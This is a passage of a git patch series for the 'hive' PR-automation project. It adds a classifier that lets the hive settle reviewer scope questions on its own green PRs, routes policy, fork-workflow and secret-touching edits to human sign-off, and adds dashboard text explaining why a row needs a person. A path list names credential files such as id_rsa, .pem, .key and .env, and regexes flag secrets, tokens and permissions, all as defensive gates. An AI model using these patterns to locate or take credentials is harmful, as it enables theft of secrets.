`%s`).\n", c.Number, strings.ReplaceAll(c.Question, "\n", "\n> "), c.Repo, c.Number, c.Head) + res, err := s.deps.GHClient.CreateIssue(ctx, ghpkg.CreateIssueRequest{ // writeback:gated + Repo: c.Repo, + Title: title, + Body: body, + Labels: []string{reviewQuestionFollowUpLabel}, + Origin: config.OriginSourceGovernor, + }) + if err != nil { + s.reviewQuestionLogger().Warn("reviewer question follow-up issue not filed", "repo", c.Repo, "pr", c.Number, "error", err) + return 0 + } + return res.Number +} + +// reviewQuestionFollowUpTitle is "follow-up: <question>" on one line, +// capped at reviewQuestionFollowUpTitleMax runes. +func reviewQuestionFollowUpTitle(question string) string { + q := strings.Join(strings.Fields(question), " ") + title := "follow-up: " + q + if r := []rune(title); len(r) > reviewQuestionFollowUpTitleMax { + title = strings.TrimSpace(string(r[:reviewQuestionFollowUpTitleMax-1])) + "…" + } + return title +} + +func (s *Server) reviewQuestionLogger() *slog.Logger { return s.webhookLogger() } diff --git a/src/pkg/dashboard/review_question_autodecide_test.go b/src/pkg/dashboard/review_question_autodecide_test.go new file mode 100644 index 0000000000..ccfc0a9c17 --- /dev/null +++ b/src/pkg/dashboard/review_question_autodecide_test.go @@ -0,0 +1,107 @@ +package dashboard + +import ( + "path/filepath" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/outputschema" + "github.com/hivecommons/hive/pkg/review" +) + +func TestReviewQuestionCandidatesPicksReviewerQuestionsAt085(t *testing.T) { + ask := &StageTrackerDecision{Question: "@clubanderson should decide whether this merges ahead of the workflow edit.", AskedBy: decisionAskedByReviewer} + items := []StageTrackerItem{ + {Kind: "pr", Repo: "docs", Number: 618, Head: "abc", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: ask}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 2, Head: "def", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: ask, ciRed: true}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 3, Head: "ghi", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: ask, ciChecking: true}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 4, Head: "jkl", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: ask, OnHold: true}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 5, Head: "mno", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: &StageTrackerDecision{Question: "sentinel flagged", AskedBy: "sentinel"}}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 6, Head: "", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, DecisionNeeded: ask}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 7, Head: "pqr", Stage: 70, AuthorKind: authorKindHive, DecisionNeeded: ask}, + {Kind: "issue", Repo: "hivecommons/hive", Number: 8, Head: "stu", Stage: trackerNumberNeedsDecision, DecisionNeeded: ask}, + {Kind: "pr", Repo: "hivecommons/hive", Number: 9, Head: "vwx", Stage: trackerNumberNeedsDecision, AuthorKind: "person", AdoptedBy: 10, DecisionNeeded: ask}, + } + qualify := func(r string) string { + if r == "docs" { + return "hivecommons/docs" + } + return r + } + got := reviewQuestionCandidates(items, qualify) + if len(got) != 2 { + t.Fatalf("candidates = %+v, want docs#618 and hive#9", got) + } + if got[0].Repo != "hivecommons/docs" || got[0].Number != 618 || !got[0].HiveAuthored { + t.Errorf("first = %+v, want qualified hive-authored docs#618", got[0]) + } + if got[1].Number != 9 || !got[1].HiveAuthored { + t.Errorf("second = %+v, want adopted hive#9 read as hive-authored", got[1]) + } +} + +func TestReviewQuestionUnresolvedFindings(t *testing.T) { + clean := review.Aggregate{DecisionQuestion: "should this merge ahead?", Perspectives: map[review.Perspective]review.Verdict{"security": review.VerdictApprove}} + if reviewQuestionUnresolvedFindings(clean) { + t.Errorf("a bare question with approving perspectives is not an unresolved finding") + } + backed := clean + backed.DecisionFinding = "security: token in workflow" + if !reviewQuestionUnresolvedFindings(backed) { + t.Errorf("a backed decision finding is unresolved") + } + changes := review.Aggregate{Perspectives: map[review.Perspective]review.Verdict{"correctness": review.VerdictChangesRequested}} + if !reviewQuestionUnresolvedFindings(changes) { + t.Errorf("changes_requested is unresolved") + } + finding := review.Aggregate{Findings: []review.PerspectiveFinding{{Perspective: "correctness", Finding: outputschema.Finding{Title: "nil deref", Severity: outputschema.SeverityHigh}}}} + if !reviewQuestionUnresolvedFindings(finding) { + t.Errorf("an in-scope finding is unresolved") + } +} + +func TestReviewQuestionAutodecideOncePerHead(t *testing.T) { + st := &reviewQuestionAutodecide{path: filepath.Join(t.TempDir(), "markers.json")} + now := time.Date(2026, 10, 21, 12, 0, 0, 0, time.UTC) + if st.seen("hivecommons/docs", 618, "abc") { + t.Fatal("fresh ledger reports seen") + } + if err := st.mark("hivecommons/docs", 618, reviewQuestionAutodecideMarker{Head: "abc", At: now, Class: "scope-question", Reason: "r"}); err != nil { + t.Fatal(err) + } + if !st.seen("hivecommons/docs", 618, "ABC") { + t.Error("same head (case-insensitive) must read as seen") + } + if st.seen("hivecommons/docs", 618, "def") { + t.Error("a new push must ask again") + } + reloaded := &reviewQuestionAutodecide{path: st.path} + if !reloaded.seen("HiveCommons/Docs", 618, "abc") { + t.Error("marker must survive a reload") + } + if got := reloaded.countSince(now.Add(30*time.Minute), time.Hour); got != 1 { + t.Errorf("count within window = %d, want 1", got) + } + if got := reloaded.countSince(now.Add(2*time.Hour), time.Hour); got != 0 { + t.Errorf("count past window = %d, want 0", got) + } +} + +func TestReviewQuestionFollowUpTitle(t *testing.T) { + got := reviewQuestionFollowUpTitle(" should we\n also apply the opt-in? ") + if got != "follow-up: should we also apply the opt-in?" { + t.Errorf("title = %q", got) + } + long := reviewQuestionFollowUpTitle(repeatRune('q', 300)) + if r := []rune(long); len(r) != reviewQuestionFollowUpTitleMax || r[len(r)-1] != '…' { + t.Errorf("long title not capped: %d runes", len(r)) + } +} + +func repeatRune(r rune, n int) string { + out := make([]rune, n) + for i := range out { + out[i] = r + } + return string(out) +} diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index cb331ae8cc..b6a84cb3e8 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -237,6 +237,9 @@ type Server struct { // delegatedJobs tracks "Let hive decide" jobs by repo#number // (api_repo_item_decide_delegated.go). delegatedJobs delegatedDecisionJobs + // reviewQuestionAuto is the reviewer-question auto-decide sweep's + // pacing and once-per-head ledger (review_question_autodecide.go). + reviewQuestionAuto reviewQuestionAutodecide // operatorActionStore is the owner row-action ledger behind the // activity monitor's βœ“ badge (operator_actions.go), opened on first use. operatorActionStore *operatorActionStore @@ -2831,6 +2834,9 @@ func (s *Server) UpdateStatusIfFresh(status *StatusPayload, buildEpoch uint64) b // Backstop for closed items whose delivery never arrived or whose // confirming read was refused (hivecommons/hive#14159, #14064). s.maybeSweepClosedRows(time.Now().UTC()) + // A reviewer's scope question on the hive's own green PR is the hive's + // to decide, not an 085 park (review_question_autodecide.go). + s.maybeAutoDecideReviewQuestions(status, time.Now().UTC()) s.AppendTokenSparkline(status) s.AppendTrendHistory(status) @@ -3739,7 +3745,7 @@ func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) { return } now := time.Now().UTC() - payload := statusWithWebhooks{StatusPayload: s.statusWithOverviewBands(status, now), Webhooks: github.WebhookHealthSnapshot(), CIFailureSignals: github.CIFailureSignals().Snapshot(), MatrixEnabled: s.currentMatrixConfig().Active()} + payload := statusWithWebhooks{StatusPayload: s.statusWithOverviewBands(status, now), Webhooks: github.WebhookHealthSnapshot(), CIFailureSignals: github.CIFailureSignals().Snapshot(), MatrixEnabled: s.currentMatrixConfig().Active(), ReviewQuestionsAutodecided1h: s.reviewQuestionsAutodecided1h(now)} if s.deps != nil && s.deps.EvalLoop != nil { loop := s.deps.EvalLoop() payload.EvalLoopStatus = &loop @@ -3800,6 +3806,10 @@ type statusWithWebhooks struct { // config.gate_regressions is the safety gates a previous runtime // overlay carried that this boot dropped (#16438). Config *ConfigHealthStatus `json:"config,omitempty"` + // ReviewQuestionsAutodecided1h counts the reviewer questions the hive + // decided itself in the last hour instead of parking the PR at 085 + // (review_question_autodecide.go, governor.review.auto_decide_questions). + ReviewQuestionsAutodecided1h int `json:"review_questions_autodecided_1h"` } func (s *Server) handleStatusSummary(w http.ResponseWriter, r *http.Request) { diff --git a/src/pkg/review/decision_question_class.go b/src/pkg/review/decision_question_class.go new file mode 100644 index 0000000000..3abfd5c968 --- /dev/null +++ b/src/pkg/review/decision_question_class.go @@ -0,0 +1,168 @@ +package review + +import ( + "path" + "regexp" + "strconv" + "strings" + + "github.com/hivecommons/hive/pkg/intent" +) + +// DecisionQuestionClass sorts one reviewer "decision needed" ask on a +// hive-authored PR into what it needs: a person's sign-off, or the hive's own +// delegated decision. hivecommons/docs#618 parked a green, finding-free, +// hive-authored PR at stage/085 because one perspective ended with a +// scope question ("should this merge ahead of that workflow edit?") that the +// risk-class denylist (DecisionRiskClasses) read as a sensitive-path ask β€” +// the owner's words: "this is auto-merge material, not needs-human". +type DecisionQuestionClass string + +const ( + // DecisionQuestionPolicySignOff: the ask stays a person's. The PR edits + // workflows from a fork, touches secrets / permissions / OWNERS / + // security-labelled paths, changes the auto-merge or human-merge + // policy, or the reviewer names an owner-only guard outright. + DecisionQuestionPolicySignOff DecisionQuestionClass = "policy-sign-off" + // DecisionQuestionScope: a scope or follow-up question ("should we + // also…", "merge ahead of…", "apply X from the PR body", "confirm Y is + // acceptable") on a hive-authored PR with CI green and no unresolved + // finding on its head. The hive answers it through the delegate path. + DecisionQuestionScope DecisionQuestionClass = "scope-question" + // DecisionQuestionIneligible: not a candidate for auto-decision at all + // (no question, not hive-authored, CI not green, findings open). The + // ordinary 085 park stands. + DecisionQuestionIneligible DecisionQuestionClass = "ineligible" +) + +// DecisionQuestionInput is what the classifier sees. It is a value, not a +// GitHub read: callers gather the head's files and status first. +type DecisionQuestionInput struct { + // Question is the reviewer's decision question, verbatim. + Question string + // HiveAuthored: the hive opened the PR, or adopted it in place. + HiveAuthored bool + // FromFork: the head lives in a fork of the base repository. + FromFork bool + // CIGreen: every gating check on the head passed. + CIGreen bool + // UnresolvedFindings: the head's review verdict carries a finding or a + // changes-requested perspective that no fix has cleared. + UnresolvedFindings bool + // Files are the head's changed files with their patches (patch may be + // empty when the caller did not fetch it). + Files []DecisionQuestionFile +} + +// DecisionQuestionFile is one changed file of the PR under question. +type DecisionQuestionFile struct { + Path string + Patch string +} + +// decisionPolicyPaths are the paths whose edit turns a reviewer question +// into a sign-off: trust and governance files, security policy, workflow +// and ruleset config, the hive's own policy files, and secrets-adjacent +// files. Deliberately narrower than sentinel.DefaultSensitivePaths, whose +// go.mod / Makefile / package.json entries guard supply chain, not policy. +var decisionPolicyPaths = []string{ + "OWNERS", "**/OWNERS", "OWNERS_ALIASES", "**/OWNERS_ALIASES", + "CODEOWNERS", "**/CODEOWNERS", "MAINTAINERS", "**/MAINTAINERS", + "GOVERNANCE.md", "SECURITY.md", "**/SECURITY.md", + ".github/rulesets/**", ".github/settings.yml", ".github/CODEOWNERS", + "policies/**", "**/policies/**", + "hive.yaml", "**/hive.yaml", "hive.yaml.dashboard", "**/hive.yaml.dashboard", + "**/.env*", "**/*.pem", "**/*.key", "**/id_rsa*", "**/secrets*", +} + +// decisionWorkflowPaths are the CI-automation paths a fork may not edit +// without a person's sign-off (the App cannot push them either). +var decisionWorkflowPaths = []string{".github/workflows/**", "**/.github/workflows/**", ".github/actions/**"} + +// decisionPolicyConfigKeys are hive config keys whose change in a patch is +// a merge-policy change, whatever file carries them. +var decisionPolicyConfigKeys = []string{"auto_merge", "human_merge_paths", "self_authored_decision_policy", "auto_decide_questions"} + +// decisionOwnerOnlyGuards are the asks a reviewer phrases as an explicit +// owner-only guard. Each is a whole-word match on the lower-cased question. +var decisionOwnerOnlyGuards = []*regexp.Regexp{ + regexp.MustCompile(`\bsentinel\b`), + regexp.MustCompile(`\bgithub permissions?\b`), + regexp.MustCompile(`\bapp permissions?\b`), + regexp.MustCompile(`\borg(?:anization)? (?:permissions?|admin|owner|membership)\b`), + regexp.MustCompile(`\bunauthori[sz]ed\b`), + regexp.MustCompile(`\bsecrets?\b`), + regexp.MustCompile(`\btokens?\b`), + regexp.MustCompile(`\bcredentials?\b`), + regexp.MustCompile(`\bbranch protection\b`), + regexp.MustCompile(`\bcodeowners\b`), + regexp.MustCompile(`\bowners file\b`), + regexp.MustCompile(`\bowner-only\b`), +} + +// ClassifyDecisionQuestion is the pure classifier behind the reviewer +// question auto-decide (governor.review.auto_decide_questions). The reason +// names the first rule that settled the class, for the INFO line and the +// audit record. Policy sign-off wins over scope: a question on a PR that +// edits OWNERS is the owner's however it is phrased. +func ClassifyDecisionQuestion(in DecisionQuestionInput) (DecisionQuestionClass, string) { + q := strings.ToLower(strings.TrimSpace(in.Question)) + if q == "" { + return DecisionQuestionIneligible, "no reviewer question" + } + for _, f := range in.Files { + p := strings.TrimSpace(f.Path) + if p == "" { + continue + } + if in.FromFork && intent.PathMatchesAny(p, decisionWorkflowPaths) { + return DecisionQuestionPolicySignOff, "fork PR edits workflow path " + p + } + if intent.PathMatchesAny(p, decisionPolicyPaths) { + return DecisionQuestionPolicySignOff, "PR touches policy path " + p + } + if key := decisionPatchPolicyKey(p, f.Patch); key != "" { + return DecisionQuestionPolicySignOff, "PR changes " + key + " in " + p + } + } + for _, guard := range decisionOwnerOnlyGuards { + if m := guard.FindString(q); m != "" { + return DecisionQuestionPolicySignOff, "ask names owner-only guard " + strconv.Quote(m) + } + } + switch { + case !in.HiveAuthored: + return DecisionQuestionIneligible, "PR is not hive-authored" + case !in.CIGreen: + return DecisionQuestionIneligible, "CI is not green on head" + case in.UnresolvedFindings: + return DecisionQuestionIneligible, "head has unresolved review findings" + } + return DecisionQuestionScope, "scope/follow-up question on a green hive-authored PR with no findings" +} + +// decisionPatchPolicyKey reports the merge-policy config key a patch adds +// or removes in a hive config file; "" when none. Only YAML-shaped files are +// read, so a Go test naming `auto_merge` in a string is not a policy edit. +func decisionPatchPolicyKey(p, patch string) string { + if patch == "" { + return "" + } + switch strings.ToLower(path.Ext(p)) { + case ".yaml", ".yml", ".dashboard": + default: + return "" + } + for _, line := range strings.Split(patch, "\n") { + if len(line) < 2 || (line[0] != '+' && line[0] != '-') || strings.HasPrefix(line, "+++") || strings.HasPrefix(line, "---") { + continue + } + body := strings.TrimSpace(line[1:]) + for _, key := range decisionPolicyConfigKeys { + if strings.HasPrefix(body, key+":") { + return key + } + } + } + return "" +} diff --git a/src/pkg/review/decision_question_class_test.go b/src/pkg/review/decision_question_class_test.go new file mode 100644 index 0000000000..aa88efd1da --- /dev/null +++ b/src/pkg/review/decision_question_class_test.go @@ -0,0 +1,134 @@ +package review + +import ( + "strings" + "testing" +) + +// The two asks that parked green, finding-free, hive-authored PRs for a +// person (hivecommons/docs#618 and hivecommons/hive#16456), verbatim. +const ( + docs618Ask = "@clubanderson should decide whether to apply the hive-docs-refresh.yml opt-in from the PR body (adding the \"hive-docs-refresh\" workflow_dispatch input) and whether this PR should merge ahead of that workflow edit." + hive16456Ask = "Decision needed: @clubanderson should confirm the merge-request relay may lift the hold…" +) + +func TestClassifyDecisionQuestion(t *testing.T) { + green := func(q string, files ...DecisionQuestionFile) DecisionQuestionInput { + return DecisionQuestionInput{Question: q, HiveAuthored: true, CIGreen: true, Files: files} + } + cases := []struct { + name string + in DecisionQuestionInput + want DecisionQuestionClass + reason string + }{ + { + name: "docs#618 scope question is the hive's", + in: green(docs618Ask, DecisionQuestionFile{Path: "docs/sync/README.md"}, DecisionQuestionFile{Path: "scripts/sync.sh"}), + want: DecisionQuestionScope, reason: "scope/follow-up", + }, + { + name: "hive#16456 confirm-the-relay question is the hive's", + in: green(hive16456Ask, DecisionQuestionFile{Path: "src/pkg/github/review_verdict_relay.go"}), + want: DecisionQuestionScope, reason: "scope/follow-up", + }, + { + name: "should-we-also follow-up", + in: green("Should we also update the operator reference to mention the new flag, or is a follow-up fine?"), + want: DecisionQuestionScope, + }, + { + name: "confirm acceptable wording", + in: green("@clubanderson should confirm the renamed caption is acceptable before this merges."), + want: DecisionQuestionScope, + }, + { + name: "fork PR editing a workflow is a sign-off", + in: DecisionQuestionInput{Question: "Should the new job run on pull_request_target?", HiveAuthored: true, CIGreen: true, FromFork: true, + Files: []DecisionQuestionFile{{Path: ".github/workflows/ci.yml"}}}, + want: DecisionQuestionPolicySignOff, reason: "fork PR edits workflow path", + }, + { + name: "same-repo hive PR editing a workflow is still the hive's", + in: green("Should this merge ahead of the docs refresh?", DecisionQuestionFile{Path: ".github/workflows/docs.yml"}), + want: DecisionQuestionScope, + }, + { + name: "OWNERS edit is a sign-off however it is phrased", + in: green("Should we also add the new reviewer to the docs alias?", DecisionQuestionFile{Path: "docs/OWNERS"}), + want: DecisionQuestionPolicySignOff, reason: "policy path docs/OWNERS", + }, + { + name: "SECURITY.md edit is a sign-off", + in: green("Confirm the new disclosure address is right.", DecisionQuestionFile{Path: "SECURITY.md"}), + want: DecisionQuestionPolicySignOff, reason: "policy path", + }, + { + name: "auto_merge config change in a patch is a sign-off", + in: green("Confirm the lane should merge its own PRs.", DecisionQuestionFile{Path: "deploy/overlays/prod/governor.yaml", + Patch: "@@ -1,3 +1,4 @@\n repos:\n hive:\n+ auto_merge: true\n"}), + want: DecisionQuestionPolicySignOff, reason: "changes auto_merge", + }, + { + name: "auto_merge named in a Go test is not a policy edit", + in: green("Should the test also cover the off case?", DecisionQuestionFile{Path: "src/pkg/config/config_test.go", + Patch: "+\tcfg.AutoMerge.Enabled = true // auto_merge: on\n"}), + want: DecisionQuestionScope, + }, + { + name: "explicit sentinel guard is a sign-off", + in: green("The sentinel flagged the install script; @clubanderson should acknowledge it before merge."), + want: DecisionQuestionPolicySignOff, reason: `owner-only guard "sentinel"`, + }, + { + name: "GitHub permissions guard is a sign-off", + in: green("Whether the App's GitHub permissions allow pushing this is the owner's call."), + want: DecisionQuestionPolicySignOff, reason: "github permissions", + }, + { + name: "secret token guard is a sign-off", + in: green("Confirm the new token scope is intended."), + want: DecisionQuestionPolicySignOff, reason: "token", + }, + { + name: "contributor PR is not a candidate", + in: DecisionQuestionInput{Question: "Should this also handle the empty case?", CIGreen: true}, + want: DecisionQuestionIneligible, reason: "not hive-authored", + }, + { + name: "red CI is not a candidate", + in: DecisionQuestionInput{Question: "Should this also handle the empty case?", HiveAuthored: true}, + want: DecisionQuestionIneligible, reason: "CI is not green", + }, + { + name: "open findings are not a candidate", + in: DecisionQuestionInput{Question: "Should this also handle the empty case?", HiveAuthored: true, CIGreen: true, UnresolvedFindings: true}, + want: DecisionQuestionIneligible, reason: "unresolved review findings", + }, + { + name: "no question", + in: DecisionQuestionInput{HiveAuthored: true, CIGreen: true}, + want: DecisionQuestionIneligible, reason: "no reviewer question", + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got, reason := ClassifyDecisionQuestion(tc.in) + if got != tc.want { + t.Fatalf("class = %q (%s), want %q", got, reason, tc.want) + } + if tc.reason != "" && !strings.Contains(strings.ToLower(reason), strings.ToLower(tc.reason)) { + t.Fatalf("reason = %q, want it to mention %q", reason, tc.reason) + } + }) + } +} + +// The two real asks still land in a DecisionRiskClass by wording alone +// (that is why they parked); the classifier is what lets the hive answer +// them regardless. +func TestClassifyDecisionQuestionRealAsksMatchRiskClassByWording(t *testing.T) { + if _, risk := DecisionQuestionRiskClass(docs618Ask); !risk { + t.Fatalf("docs#618 ask no longer matches a risk class; the classifier is not what routes it") + } +} From 352163f7757d6f6235e507fe884a8d0cd9a47391 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 12:17:52 -0500 Subject: [PATCH 83/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20stat?= =?UTF-8?q?e=20why=20a=20human=20is=20needed=20on=20the=20row=20itself=20(?= =?UTF-8?q?#16624)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A row flagged needs-human renders its reason in the hive-note line (blocker short + first sentence of the ask + asker + lead option + who is pushing a covering PR), keeps the Blocked Β· <short> πŸ‘€ word in the issue's decision column when a PR strip drives the row, turns the needs-human pill into a reveal button with the full reason as hover, captions the 085 chevron 'Needs human Β· <short reason>' from a small map of known reasons, reads 'decision on #PR' on an issue blocked only by its PR's pending decision, leads with the first enabled blocker option when the server disables decide:delegate (rendered muted with reason_if_disabled), and drops the double space in the 'owed β€” blocked: …' caption. Fixes #16623 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .../fixed-needs-human-reason-on-row.md | 1 + src/pkg/dashboard/stage_tracker_caption.go | 7 + .../stage_tracker_human_attention.test.js | 66 +++++ .../stage_tracker_needs_human_reason_test.go | 153 ++++++++++++ .../stage_tracker_row_actions_test.go | 1 + .../stage_tracker_ui_prelude_test.go | 8 + src/pkg/dashboard/static-src/css/tracker.css | 6 + .../static-src/js/tracker-actions.js | 22 +- .../static-src/js/tracker-human-attention.js | 91 ++++++- .../dashboard/static-src/js/tracker-motion.js | 14 ++ .../static-src/js/tracker-row-strip.js | 48 +++- .../dashboard/static-src/js/tracker-row.js | 16 +- .../static-src/js/tracker-words-core.js | 38 +++ src/pkg/dashboard/static/index.html | 235 ++++++++++++++++-- 14 files changed, 674 insertions(+), 32 deletions(-) create mode 100644 changelog.d/fixed-needs-human-reason-on-row.md create mode 100644 src/pkg/dashboard/stage_tracker_needs_human_reason_test.go diff --git a/changelog.d/fixed-needs-human-reason-on-row.md b/changelog.d/fixed-needs-human-reason-on-row.md new file mode 100644 index 0000000000..c111bdc0fa --- /dev/null +++ b/changelog.d/fixed-needs-human-reason-on-row.md @@ -0,0 +1 @@ +- Activity Monitor rows parked on a person now state why on the row itself: the hive-note line reads `#N β€” Needs human: <blocker> β€” <ask> Β· requested by … Β· lead: <first enabled option> β–Έ Β· @author is pushing it in #PR`, the issue's decision column keeps `Blocked Β· App lacks workflows permission πŸ‘€` while a covering PR drives the strip, the `needs human` pill carries the full reason and reveals the line on click, the 085 chevron reads `Needs human Β· <short reason>` (e.g. "edits CI workflows"), an issue blocked only by its PR's pending decision reads `decision on #PR`, the first enabled blocker option leads when the server disables "Let hive decide" (shown muted with its reason), and the "owed β€” blocked: …" caption double space is gone ([#16623](https://github.com/hivecommons/hive/issues/16623)). diff --git a/src/pkg/dashboard/stage_tracker_caption.go b/src/pkg/dashboard/stage_tracker_caption.go index 9ab5b632b6..3168e11912 100644 --- a/src/pkg/dashboard/stage_tracker_caption.go +++ b/src/pkg/dashboard/stage_tracker_caption.go @@ -336,6 +336,13 @@ func humanizeStageReason(reason string) string { if stageengine.ReasonIsPartialCover(r) { return "the PR references it without closing it (partial)" } + // "blocked: App lacks workflows permission" (derive_issue.go, a + // structured blocker's short text): already prose. The generic replacer + // below would turn its ": " into ": " (hivecommons/docs#612 read + // "owed β€” blocked: App lacks…"). + if rest, ok := strings.CutPrefix(r, "blocked: "); ok { + return "blocked: " + strings.TrimSpace(rest) + } if clause, ok := humanizeCoverReason(r); ok { return clause } diff --git a/src/pkg/dashboard/stage_tracker_human_attention.test.js b/src/pkg/dashboard/stage_tracker_human_attention.test.js index 9b11628d07..c70e5660b8 100644 --- a/src/pkg/dashboard/stage_tracker_human_attention.test.js +++ b/src/pkg/dashboard/stage_tracker_human_attention.test.js @@ -216,3 +216,69 @@ test('adoption absence is not a refusal; ownership policy and actual capability assert.equal(c.stageTrackerAdoptionChipText(item), word); } }); + +// hivecommons/docs#612 / rationguard#480: the row states why a human is +// needed in its own note line β€” blocker first, the ask's first sentence, who +// asked, the lead move, and who is pushing a covering PR. +function needsHumanContext() { + const c = load(); + for (const name of ['STAGE_TRACKER_NEEDS_HUMAN_SHORT', 'STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX', 'STAGE_TRACKER_NEEDS_HUMAN_WORD']) { + const text = source('tracker-words-core'); + const m = text.match(new RegExp('const ' + name + ' = [\\s\\S]*?;\\n')); + assert.ok(m, name); + vm.runInContext(m[0], c); + } + vm.runInContext(fn('tracker-words-core', 'stageTrackerNeedsHumanShort'), c); + c.stageTrackerLeadActionOnRow = item => item.blocker ? { id: 'open:app-settings', label: 'Grant the App workflows: write' } : (item.decision_needed ? { id: 'decide:delegate', label: 'Let hive decide' } : null); + return c; +} +const why612 = "Hive can't do this one: the GitHub App has no `workflows` permission, so it cannot push changes to .github/workflows/*. Options: (a) grant the App workflows: write, (b) apply by hand."; +function issue612() { + const pr620 = { kind: 'pr', repo: 'hivecommons/docs', number: 620, stage: 50, state: 'open', head: 'h620', author: 'bob', author_kind: 'human', + title: 'ci: opt in', url: 'https://github.com/hivecommons/docs/pull/620', stage_actor: { kind: 'hive' } }; + return { kind: 'issue', repo: 'hivecommons/docs', number: 612, stage: 45, state: 'open', modifiers: ['needs-human'], needs_human: true, + title: 'Opt docs refresh into hive', url: 'https://github.com/hivecommons/docs/issues/612', linked_pr: 620, linked_prs: [pr620], + human_attention: { kind: 'issue', number: 612, reason: why612, asked_by: 'the hive' }, + blocker: { kind: 'capability:workflows-permission', short: 'App lacks workflows permission' }, + decision_needed: { question: 'Grant the permission or close as partial?', options: [{ action: 'decide:delegate', enabled: false, reason_if_disabled: 'No decision grants the App the permission' }] } }; +} + +test('covered issue on a capability blocker names the blocker, the ask, the asker, the lead move and who is pushing the PR', () => { + const c = needsHumanContext(); + const html = c.stageTrackerRowHtml(issue612(), [], { nowMs: 1 }); + assert.match(html, /#612 β€” Needs human: App lacks workflows permission β€” Hive can't do this one: the GitHub App has no `workflows` permission, so it cannot push changes to \.github\/workflows\/\*\./); + assert.match(html, /Β· requested by the hive Β· lead: Grant the App workflows: write β–Έ Β· @bob is pushing it in #620/); + assert.doesNotMatch(html, /Options: \(a\)/, 'only the first sentence of the ask rides on the row'); + // The line is unchanged when the strip is the issue's own. + const alone = issue612(); alone.linked_prs = []; delete alone.linked_pr; + assert.doesNotMatch(c.stageTrackerHumanContextHtml(alone, [], 1), /is pushing it/); + assert.match(c.stageTrackerHumanContextHtml(alone, [], 1), /App lacks workflows permission/); + // A hive-authored covering PR is not "pushed by" anyone on the line. + const hive = issue612(); hive.linked_prs[0].author_kind = 'hive'; hive.linked_prs[0].author = 'hive-bot'; + assert.doesNotMatch(c.stageTrackerHumanContextHtml(hive, [], 1), /is pushing it/); +}); + +test('085 PR without human_attention still states the decision question from decision_needed', () => { + const c = needsHumanContext(); + const item = { kind: 'pr', repo: 'hivecommons/rationguard', number: 480, stage: 85, state: 'open', head: 'h480', modifiers: ['needs-decision'], + title: 'ci: pin runners', url: 'https://github.com/hivecommons/rationguard/pull/480', human_reason: 'workflow path', + stage_actor: { kind: 'human', why: 'a human decision is owed β€” workflow path', human_reason: 'workflow path' }, + decision_needed: { question: 'The hive never merges this by itself (it edits CI workflow files). Approve it for a maintainer to merge, give direction, or close it?', + blocker: 'The hive never merges this by itself. After approval, a maintainer merges.', asked_by: 'the hive' } }; + const ask = c.stageTrackerNeedsHumanAsk(item); + assert.ok(ask && ask.synthetic, JSON.stringify(ask)); + assert.equal(ask.reason, item.decision_needed.question); + const html = c.stageTrackerHumanContextHtml(item, [], 1); + assert.match(html, /Needs human: edits CI workflows β€” The hive never merges this by itself \(it edits CI workflow files\)\./); + assert.match(html, /Approve it for a maintainer to merge, give direction, or close it\?/, 'the full question stays on the line'); + assert.match(html, /Β· asked by the hive/); + assert.doesNotMatch(html, /lead: Let hive decide/, 'the optional delegation is not the person\'s move'); + // Human attention from the server wins over the synthesized ask; a parked + // stage with no evidence synthesizes nothing. + assert.equal(c.stageTrackerNeedsHumanAsk({ ...item, human_attention: { kind: 'pr', number: 480, head: 'h480', reason: 'x' } }), null); + assert.equal(c.stageTrackerNeedsHumanAsk({ ...item, decision_needed: null, stage_actor: { kind: 'hive' } }), null); + for (const mutate of [it => { it.state = 'closed'; }, it => { it.modifiers = ['draft']; }, it => { it.hold = { by: 'owner' }; }]) { + const changed = plain(item); mutate(changed); + assert.equal(c.stageTrackerNeedsHumanAsk(changed), null); + } +}); diff --git a/src/pkg/dashboard/stage_tracker_needs_human_reason_test.go b/src/pkg/dashboard/stage_tracker_needs_human_reason_test.go new file mode 100644 index 0000000000..37c3e36679 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_needs_human_reason_test.go @@ -0,0 +1,153 @@ +package dashboard + +import ( + "strings" + "testing" +) + +// A row parked on a person states WHY on the row itself β€” not only in a +// tooltip. hivecommons/docs#612: an issue at 045 with a capability blocker, +// covered by a human-authored PR, read a bare muted "needs human" and "Let +// hive decide β–Έ" once the PR's strip took over. rationguard#480: a PR at 085 +// read only "Needs human decision" though the server knew the reason +// ("workflow path"), and its issue #431 wore "blocked" purely because the PR +// waited on that decision. + +const stageTrackerNeedsHumanFixture = ` +const appURL = 'https://github.com/organizations/hivecommons/settings/installations/1'; +const why612 = "Hive can't do this one: the GitHub App has no ` + "`workflows`" + ` permission, so it cannot push changes to .github/workflows/*. Options: (a) grant the App workflows: write, (b) apply the patch by hand, (c) close as partially addressed, (d) keep waiting."; +const decision612 = { question: 'Grant the App workflows permission, apply the patch by hand, or close as partially addressed?', asked_by: 'the hive', since: '2026-10-20T19:33:00Z', + blocker: why612, blocker_reason: 'capability:workflows-permission', + options: [ + { action: 'open:app-settings', label: 'Grant the App workflows: write', enabled: true, url: appURL }, + { action: 'blocker:recheck', label: 'Re-check permissions', enabled: true }, + { action: 'blocker:patch', label: 'Prepare the patch for a person to push', enabled: false, 